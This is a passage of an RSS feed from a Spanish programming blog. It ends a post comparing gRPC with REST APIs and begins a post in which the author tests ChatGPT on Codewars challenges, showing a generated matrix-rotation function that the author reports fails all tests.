&lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Legibilidad humana&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Sí (JSON)&lt;/td&gt;&#xA;          &lt;td&gt;No (binario)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Latencia&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Alta (múltiples solicitudes)&lt;/td&gt;&#xA;          &lt;td&gt;Baja (multiplexación)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h3 id=&#34;que-tan-rapido-es-grpc-comparado-con-una-api-rest-json&#34;&gt;¿Qué tan rápido es gRPC comparado con una API REST JSON?&lt;/h3&gt;&#xA;&lt;p&gt;Pero, ¿qué tan eficiente es gRPC en comparación con REST? Mira esta comparación hecha por &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://medium.com/@EmperorRXF/evaluating-performance-of-rest-vs-grpc-1b8bdf0b22da/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Matthew Leung&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;gRPC&lt;/th&gt;&#xA;          &lt;th&gt;REST&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Peticiones/Segundo&lt;/td&gt;&#xA;          &lt;td&gt;48.00&lt;/td&gt;&#xA;          &lt;td&gt;4.00&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Latencia de la petición&lt;/td&gt;&#xA;          &lt;td&gt;6.15&lt;/td&gt;&#xA;          &lt;td&gt;8.00&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;CPU ms/s&lt;/td&gt;&#xA;          &lt;td&gt;832.00&lt;/td&gt;&#xA;          &lt;td&gt;404.00&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;CPU/petición&lt;/td&gt;&#xA;          &lt;td&gt;17.33&lt;/td&gt;&#xA;          &lt;td&gt;101.11&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Como puedes apreciar &lt;em&gt;gRPC es mucho más rápido que REST más JSON al procesar peticiones&lt;/em&gt;, las pruebas de rendimiento varian de 5 hasta 10 veces.&lt;/p&gt;&#xA;&lt;h3 id=&#34;por-que-grpc-es-tan-eficiente&#34;&gt;¿Por qué gRPC es tan eficiente?&lt;/h3&gt;&#xA;&lt;p&gt;Existen varios factores que vuelven a los gRPC extremadamente eficiente para intercambiar información:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Usa los protobuffers como estructura para intercambio de datos.&lt;/li&gt;&#xA;&lt;li&gt;El uso de HTTP2 y multiplexación&lt;/li&gt;&#xA;&lt;li&gt;Compresión de headers o cabeceras&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;El formato binario de los protobuffers se traduce en una menor cantidad de información a transportar y un manejo más fácil y eficiente por parte de las computadoras.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, el uso de HTTP/2, le permite a gRPC enviar múltiples streams de información sobre una sola conexión TCP (multiplexación) de manera bidireccional y asíncrona.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tipos-de-go-lang-grpc-y-streaming&#34;&gt;Tipos de Go Lang gRPC y streaming&lt;/h2&gt;&#xA;&lt;p&gt;El protocolo HTTP/2 es muy versátil y le permite a gRPC soportar cuatro tipos de comunicaciones entre cliente y servidor:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Unary&lt;/strong&gt;. El cliente y el servidor se comunican usando una petición y&#xA;respuesta sencilla, como en REST.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Cliente--&gt;Servidor;&#xA;    Servidor--&gt;Cliente;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Streaming del lado del servidor&lt;/strong&gt;. El servidor envía múltiples respuestas a&#xA;una petición del cliente.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Cliente--&gt;Servidor;&#xA;    Servidor--&gt;Cliente;&#xA;    Servidor--&gt;Cliente;&#xA;    Servidor--&gt;Cliente;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;Streaming del lado del cliente&lt;/strong&gt;. El cliente envía múltiples peticiones al&#xA;servidor y este responde con una única respuesta.&lt;/p&gt;&#xA;&lt;p&gt;Usado en el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/como-crear-un-mcp-server-y-mcp-tools-desde-cero/&#34;&gt;MCP Model Context Protocol&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Cliente--&gt;Servidor;&#xA;    Cliente--&gt;Servidor;&#xA;    Cliente--&gt;Servidor;&#xA;    Servidor--&gt;Cliente;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Streaming bidireccional&lt;/strong&gt;. Tanto el cliente como el servidor envían&#xA;múltiples peticiones y respuestas, respectivamente.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Servidor--&gt;Cliente;&#xA;    Servidor--&gt;Cliente;&#xA;    Servidor--&gt;Cliente;&#xA;    Cliente--&gt;Servidor;&#xA;    Cliente--&gt;Servidor;&#xA;    Cliente--&gt;Servidor;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;Como puedes ver esto es super útil para servicios que requieran intercambios constantes de grandes cantidades de información, como los microservicios.&lt;/p&gt;&#xA;&lt;h2 id=&#34;otras-capacidades-de-grpc&#34;&gt;Otras capacidades de gRPC&lt;/h2&gt;&#xA;&lt;h3 id=&#34;interceptores&#34;&gt;Interceptores&lt;/h3&gt;&#xA;&lt;p&gt;gRPC cuenta con mecanismo para interceptar mensajes y modificarlos a tu gusto, puedes pensar en ellos como una especie de middleware.&lt;/p&gt;&#xA;&lt;h3 id=&#34;balanceo-de-carga&#34;&gt;Balanceo de carga&lt;/h3&gt;&#xA;&lt;p&gt;gRPC provee capacidades de balanceo de carga de manera nativa.&lt;/p&gt;&#xA;&lt;h2 id=&#34;recursos-de-referencia&#34;&gt;Recursos de referencia&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/rpc/how-rpc-works&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;How RPC Works&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=gnchfOojMk4&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;What is RPC? gRPC Introduction&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://itnext.io/a-minimalist-guide-to-grpc-e4d556293422&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Minimalist guide to RPC&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://devopedia.org/grpc&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Devopedia&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Los protobuffers te permiten crear una API gRPC que tiene la característica de ser increíblemente más rápida, por usar binario en lugar de otros formatos menos optimizados (Como JSON), en esta entrada aprenderás en que consiste este tipo de API y porque es tan rápido.&lt;/p&gt;&#xA;&lt;p&gt;En mi entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;las características básicas sobre una API REST&lt;/a&gt;&#xA; te mencioné que, además de REST, existían otros tipos de APIS, una de ellas es gRPC, la cual se deriva de RPC, por lo que empecemos la entrada hablando sobre esta última.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Pongo a prueba a ChatGPT Con Desafios De Codigo De Codewars</title>
      <link>https://coffeebytes.dev/es/artificial-intelligence/pongo-a-prueba-a-chatgpt-con-desafios-de-codigo-de-codewars/</link>
      <pubDate>Mon, 12 Dec 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/artificial-intelligence/pongo-a-prueba-a-chatgpt-con-desafios-de-codigo-de-codewars/</guid>
      
      <category>artificial intelligence</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;ChatGPT está rompiendo con todo lo conocido anteriormente en inteligencia artificial, algunos desarrolladores están preocupados de que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/devin-ai-el-supuesto-reemplazo-de-los-programadores/&#34;&gt;una Inteligencia Artificial pueda reemplazarlos en sus trabajos&lt;/a&gt;&#xA;, justo como amenazó Github Copilot en su momento. En esta entrada pongo a prueba la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/chat-gpt-la-habitacion-china-de-searle-y-la-consciencia/&#34;&gt;supuesta inteligencia de ChatGPT&lt;/a&gt;&#xA; contra tres desafios de codewars.&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-funciona-codewars&#34;&gt;¿Cómo funciona Codewars?&lt;/h2&gt;&#xA;&lt;p&gt;Antes de empezar necesitas entender que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Codewars&lt;/a&gt;&#xA; es una red social de programadores en la que se comparten desafios de código escritos por los mismos usuarios. Cada desafio puede ponerse a prueba con una serie de pruebas y, si las pasa todas, el desafio se considera completado. Estos desafios tienen el nombre de katas.&lt;/p&gt;&#xA;&lt;p&gt;Cada kata posee un nivel de dificultad, definido por su número de kyu (como en las artes marciales), siendo los números más altos los más fáciles y los más pequeños los más difíciles, yendo desde el 8vo kyu al 1er kyu.&lt;/p&gt;&#xA;&lt;p&gt;Los desafios son muy variados, van desde pruebas clásicas; como la obtención de números primos, hasta algunas más complejos; como escribir código sin superar dos caracteres por linea.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;test-con-peticiones-comunes-a-chatgpt&#34;&gt;Test con peticiones comunes a ChatGPT&lt;/h2&gt;&#xA;&lt;p&gt;Para empezar estuve probando ChatGPT con una serie de peticiones sencillas y populares. Encontré que ChatGPT pudo devolver el código correcto en cada ocasión con su explicación y pasos lógicos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Números de fibonacci&lt;/li&gt;&#xA;&lt;li&gt;Números primos&lt;/li&gt;&#xA;&lt;li&gt;Palíndromos&lt;/li&gt;&#xA;&lt;li&gt;Validar email, strings, números&lt;/li&gt;&#xA;&lt;li&gt;Labores muy concretas de algunos frameworks. Por ejemplo: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/como-personalizar-el-modelo-user-en-django/&#34;&gt;Sustituir el modelo&#xA;de User en Django.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/ChatGPT-Django-users.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/ChatGPT-Django-users.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Observa como sabe como reemplazar el usuario en Django, pero da por hecho que la mejor opción para un campo location es un CharField.&#34; width=&#34;834&#34; height=&#34;854&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Observa como sabe como reemplazar el usuario en Django, pero da por hecho que la mejor opción para un campo location es un CharField.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Francamente, estoy sorprendido con las capacidades de generar código correcto que tiene ChatGPT para tareas sencillas y con información abundante en la red; no esperaba tal capacidad.&lt;/p&gt;&#xA;&lt;p&gt;Para esta entrada voy a ponerlo a prueba a esta inteligencia artificial con acertijos de algoritmos que requieren un poco más que googlear información en internet.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;seleccion-de-las-pruebas-de-codewars&#34;&gt;Selección de las pruebas de Codewars&lt;/h2&gt;&#xA;&lt;p&gt;Para estas pruebas traté de elegir un punto medio entre aquellas pruebas con requisitos muy directos y con soluciones abundantes en la red (como los números de fibonacci o los primos) y aquellas otras que requieren muchísima información adicional, premisas muy complejas o que requieren contexto extra. Además me enfoqué en aquellas soluciones que no son tan populares en la red.&lt;/p&gt;&#xA;&lt;h2 id=&#34;chatgpt-vs-rotate-matrix-counter---clockwise-n---times-6-kyu&#34;&gt;ChatGPT vs Rotate matrix counter - clockwise N - times! (6 kyu)&lt;/h2&gt;&#xA;&lt;p&gt;El desafio de la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/5919f3bf6589022915000023&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;prueba Rotate matrix counter - clockwise N - times!&lt;/a&gt;&#xA; es: In this kata your mission is to rotate matrix counter - clockwise N-times. Es decir, rotar una matriz contra reloj &amp;ldquo;n&amp;rdquo; numero de veces.&lt;/p&gt;&#xA;&lt;p&gt;El input que usé en ChatGPT para generar el código es el siguiente: Create a function that rotates a matrix counter-clockwise &amp;ldquo;n&amp;rdquo; number of times.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/rotate-matrix-ChatGPT.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/rotate-matrix-ChatGPT.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Rotate a Matrix counter-clockwise with ChatGPT&#34; width=&#34;1920&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Rotate a Matrix counter-clockwise with ChatGPT&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El código Python generado por nuestra Inteligencia Artificial es el siguiente:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Este código fue generado por OpenAI-ChatGPT&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;rotate_matrix&lt;/span&gt;(matrix, n):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# create a new matrix with the same dimensions as the input matrix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rotated_matrix &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; j &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(matrix[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]))] &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(matrix))]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# loop over the elements of the input matrix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(matrix)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; j &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(matrix[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;])):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# rotate the element at position (i, j) counter clockwise by n positions&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# and store it in the corresponding position in the new matrix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rotated_i &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (i &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; n) &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(matrix)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rotated_j &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (j &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; n) &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(matrix[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rotated_matrix[rotated_i][rotated_j] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; matrix[i][j]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# return the rotated matrix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; rotated_matrix&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;analisis-de-la-respuesta&#34;&gt;Análisis de la respuesta&lt;/h3&gt;&#xA;&lt;p&gt;Tras ejecutar el código podremos apreciar que todos los tests fallan, la matriz gira, pero más veces de las necesarias&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/rotate-matrix-ChatGPT.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/rotate-matrix-ChatGPT.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Rota una Matrix en sentido contrario a las manecillas del reloj con ChatGPT&#34; width=&#34;1920&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Rota una Matrix en sentido contrario a las manecillas del reloj con ChatGPT&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Quiero resaltar que ChatGPT produce código sintácticamente correcto, respetando identación, con nombres de variables intuitivos e incluso con una lógica que parece correcta, solo a simple vista, pero que tras la examinación más detallada, falla en &amp;ldquo;razonar&amp;rdquo; su lógica. Sí, ya sé que las inteligencias artificiales no razonan.&lt;/p&gt;&#xA;&lt;h2 id=&#34;chatgpt-vs-find-the-nth-reverse-number-extreme&#34;&gt;ChatGPT vs Find the nth Reverse Number (Extreme)&lt;/h2&gt;&#xA;&lt;p&gt;El desafio &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/600c18ec9f033b0008d55eec&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Find the nth Reverse Number&lt;/a&gt;&#xA; consiste en: You need to return the nth reverse number. (Assume that reverse numbers start from 0 as shown in the example.)&lt;/p&gt;&#xA;&lt;p&gt;Es decir, encontrar el palíndromo número &amp;ldquo;n&amp;rdquo; y con la condición adecuada de hacerlo con un excelente rendimiento de Big O.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;11&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;33&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;44&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;55&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;66&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;77&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;88&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;99&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;101&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/palindrome-ChatGPT.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/palindrome-ChatGPT.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Encuentra un número palíndromo con ChatGPT&#34; width=&#34;1920&#34; 